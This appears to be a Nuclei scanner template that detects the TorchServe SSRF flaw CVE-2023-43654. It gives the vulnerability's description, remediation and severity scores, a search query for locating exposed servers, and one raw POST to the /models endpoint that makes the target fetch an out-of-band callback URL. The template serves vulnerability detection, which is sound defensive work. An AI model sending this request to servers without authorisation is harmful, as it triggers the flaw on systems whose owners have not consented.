id: CVE-2023-43654

info:
  name: PyTorch TorchServe SSRF
  author: DhiyaneshDk
  severity: critical
  description: |
    TorchServe is a tool for serving and scaling PyTorch models in production. TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1. A user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged in PR #2534. TorchServe release 0.8.2 includes this change. Users are advised to upgrade. There are no known workarounds for this issue.
  impact: |
    Unauthenticated attackers can load malicious models from arbitrary URLs and write files to disk due to lack of input validation, potentially compromising the PyTorch TorchServe system and accessing internal network resources through SSRF.
  remediation: |
    Update PyTorch TorchServe to version 0.8.2 or later that includes allowed_urls validation and restricts model loading to trusted sources.
  reference:
    - https://github.com/pytorch/serve/pull/2534
    - https://github.com/pytorch/serve/releases/tag/v0.8.2
    - https://github.com/OligoCyberSecurity/ShellTorchChecker
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43654
    cwe-id: CWE-918
    epss-score: 0.35256
    epss-percentile: 0.98284
    cpe: cpe:2.3:a:pytorch:torchserve:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pytorch
    product: torchserve
    fofa-query: body="Requested method is not allowed, please refer to API document"
  tags: cve,cve2023,pytorch,oast,ssrf,vuln,vkev

http:
  - raw:
      - |
        POST /models?url=http%3a//{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"

      - type: word
        part: content_type
        words:
          - "application/json"
# digest: 480a00453043021f4fc550de48cc2da275046566e2377c26cd9862fdbb98b1ed1e4f6a8a2902fd0220227fdd500c4f6dfae37825e48cf00232ea6deed94dd6c17ed9bb7893b0363974:922c64590222798bb761d5b6d8e72950